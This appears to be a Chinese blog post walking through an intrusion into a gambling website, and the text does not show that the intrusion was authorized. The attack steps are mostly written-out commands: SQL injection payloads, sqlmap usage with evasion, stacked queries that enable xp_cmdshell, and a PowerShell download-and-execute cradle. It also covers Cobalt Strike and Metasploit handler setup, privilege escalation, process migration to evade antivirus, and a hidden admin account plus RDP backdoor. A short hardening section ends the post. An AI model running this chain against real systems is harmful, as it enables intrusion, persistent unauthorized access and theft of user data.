当前位置: 首页 > news >正文

从堆叠注入到系统提权:一次BC站点的完整渗透测试剖析

1. 堆叠注入漏洞的发现与利用

第一次接触这个BC站点时,我习惯性地用单引号测试登录框。页面突然返回了数据库错误信息——这种明显的报错让我立刻意识到存在SQL注入漏洞。为了验证猜想,我快速构造了几个简单的测试语句:

admin' AND 1=1-- # 正常返回 admin' AND 1=2-- # 返回空页面

确认存在注入点后,我掏出了渗透测试老搭档sqlmap。这里有个细节需要注意:这类站点往往对请求频率敏感,直接暴力扫描可能触发封禁。我的经验是加上--delay=3参数降低请求速度:

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123" --level=5 --risk=3 --technique=S --delay=3

当看到"stacked queries are supported"的提示时,我眼前一亮——这意味着存在堆叠注入漏洞。与普通注入不同,堆叠注入允许我们执行多条SQL语句,这为后续操作打开了更多可能性。

通过--os-shell尝试直接获取系统shell时遇到了阻碍,目标服务器的xp_cmdshell组件被禁用。这时候堆叠注入的优势就体现出来了,我手动构造了启用xp_cmdshell的语句:

admin'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--

提示:在实战中遇到xp_cmdshell无法启用的情况,可以尝试用CLR组件或OLE自动化过程来执行系统命令,具体方法我会在后文详细说明。

2. CS与MSF的协同作战

成功执行系统命令后,我选择使用CS(Cobalt Strike)作为持久化控制平台。这里分享一个实用技巧:在生成payload时,建议使用windows/beacon_http/reverse_http这种基于HTTP的监听器,相比TCP协议更不容易被防火墙拦截。

上传CS的payload时遇到了杀软拦截,这时候就需要用到内存加载技术。我常用的方法是使用PowerShell脚本无文件落地执行:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://your_server/payload.ps1')"

当看到主机在CS上线时,却发现是个低权限账户(mssqlserver)。这种情况在Windows服务器上很常见,数据库服务通常会做降权处理。这时候就需要祭出MSF(Metasploit Framework)进行权限提升了。

通过CS的spawn功能派生MSF会话时,有个关键配置需要注意:两个工具的payload必须匹配。我常用的配置组合是:

# CS监听器配置 payload: windows/beacon_http/reverse_http port: 8888 # MSF对应配置 use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST your_ip set LPORT 8888

3. 系统提权的艺术

拿到meterpreter会话后,我习惯先运行getsystem尝试自动提权。令人意外的是,这次居然直接返回了SYSTEM权限——这种"中彩票"的情况在实际渗透中确实少见。不过作为专业选手,我还是要介绍几种常见的提权方法:

补丁分析提权法

# 收集系统补丁信息 run post/multi/recon/local_exploit_suggester # 使用未修复漏洞提权(示例) use exploit/windows/local/ms16_075_reflection set session 1 exploit

服务配置不当提权: 检查服务权限时发现有个自定义服务配置了可写路径:

sc qc VulnerableService icacls "C:\Program Files\VulnerableService"

令牌模拟提权: 当系统存在弱口令时,可以尝试:

use incognito list_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"

在本次测试中,我还发现目标服务器安装了某款终端防护软件。这时候就需要用到进程注入技术来绕过检测:

# 列出进程 ps # 注入到稳定进程(如explorer.exe) migrate <PID>

4. 后渗透阶段的关键操作

拿到最高权限后,我立即做了三件事:

  1. 创建隐蔽账户
net user BackupAdmin [复杂密码] /add net localgroup administrators BackupAdmin /add
  1. 开启RDP并修改端口(原3389端口被禁用):
REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /v PortNumber /t REG_DWORD /d 54321 /f
  1. 数据库渗透: 通过SQL Server的Windows身份验证连接到数据库后,发现用户密码居然是明文存储。更惊人的是,后台充值记录显示单日流水就超过80万元...

5. 安全建议与防御措施

站在防御者角度,我总结了几点关键加固建议:

代码层防御

  • 使用参数化查询替代动态SQL
  • 最小化数据库账户权限
  • 禁用不必要的存储过程(如xp_cmdshell)

系统层加固

# 禁用危险组件 Disable-WindowsOptionalFeature -Online -FeatureName "MicrosoftWindowsPowerShellV2" Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 1

监控与响应

  • 部署EDR解决方案监控异常进程行为
  • 对管理员账户登录设置双因素认证
  • 定期审计数据库敏感操作日志

这次渗透过程中最令我感慨的是,目标系统虽然做了基础安全配置(如修改RDP端口、禁用默认组件),但在纵深防御体系上存在明显缺陷。安全就像链条,强度取决于最薄弱的那一环。

http://www.jsqmd.com/news/535117/

相关文章:

  • 5个实用方法解决Armbian系统版本管理难题:从识别到升级的完整指南
  • OpenCore Legacy Patcher终极指南:从故障排除到高级配置优化
  • yuzu模拟器终极性能优化:突破帧率限制的完整指南
  • 从COCO到你的业务:如何为自定义数据集定义‘小目标’?聊聊mAP_s背后的评估陷阱与调优实战
  • 嵌入式工程师必看:如何用查表法在无FPU的MCU上快速计算log10
  • 2026.3.25
  • Wan2.2-I2V-A14B部署教程:Windows WSL2环境下RTX4090D驱动适配方案
  • 边缘AI语音交互平台:xiaozhi-esp32开源项目深度解析
  • SDMatte镜像国产化适配:昇腾/海光平台移植可行性评估
  • S2-Pro Java开发实战:集成JDK1.8与SpringBoot的微服务智能日志分析
  • 虚拟角色驱动引擎:如何让数字形象拥有生命?
  • 墨语灵犀文史修习实战:《The Analects》英译本→古风中文回译对照生成
  • Java程序员如何借力AI突围:从CRUD到智能开发的转型指南
  • 5分钟快速上手Ultralytics YOLO:目标检测的终极解决方案
  • 车载SerDes技术实战:从摄像头到ECU的数据传输避坑指南
  • SIM800L GSM模块实战:从串口调试到短信收发的完整避坑指南
  • 轻量化录屏工具:基于ScreenCapture Kit重新定义macOS录制体验
  • LTspice DC Sweep双变量扫描实操:三极管输出特性曲线与厄利电压的仿真观测指南
  • 香橙派系统镜像选错了怎么办?手把手教你降级回退到稳定版本(以3.0.6为例)
  • 将普通USB摄像头变身高清网络摄像头的终极指南
  • 手把手教你用可控硅DIY光控小夜灯(附完整电路图)
  • IDEA开发者必备:利用SFTP实现本地代码与远程服务器实时同步的技巧
  • openclaw服务器配置
  • 终极浏览器AI助手:5分钟实现自动化网页操作与智能研究
  • COMSOL激光双点烧蚀铝合金的固体传热与变形几何全解:动态操作+视频教程
  • 基于飞牛NAS与Docker的Dify私有化部署实战指南
  • 5步解锁Krita开源绘画工具:数字艺术家的效率提升指南
  • SDMatte在智能家居UI中的应用:家电控制面板图标/状态指示器透明图生成
  • C语言变量存储类别全解析:从auto到static的实战避坑指南
  • FPGA实战:VHDL状态机编码选One-Hot还是Binary?用ASM图设计避坑指南